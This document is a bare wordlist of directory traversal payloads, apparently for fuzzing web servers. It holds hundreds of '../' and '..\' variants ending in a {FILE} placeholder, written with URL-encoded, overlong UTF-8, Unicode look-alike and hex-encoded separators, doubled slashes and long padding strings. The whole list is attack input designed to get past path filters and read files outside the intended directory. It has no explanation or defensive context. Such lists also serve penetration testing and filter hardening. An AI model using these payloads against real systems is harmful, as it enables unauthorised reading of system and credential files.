AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> 